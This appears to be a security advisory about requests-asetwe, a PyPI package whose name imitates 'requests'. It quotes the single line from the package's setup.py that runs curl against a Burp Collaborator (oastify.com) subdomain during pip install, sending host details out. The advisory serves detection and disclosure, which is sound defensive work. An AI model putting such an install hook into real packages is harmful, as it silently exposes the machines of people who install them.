## Overview

_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5)
setup.py of requests-asetwe unconditionally executes `os.system('curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com')` during `pip install`. The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used `requests` package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically.

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.


Campaign: GENERIC-standard-pypi-install-pentest


Reasons (based on the campaign):


 - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.


 - The package overrides the install command in setup.py to execute malicious code during installation.


## Affected packages

- `requests-asetwe`

## Remediation

Refer to the advisory for the patched release.
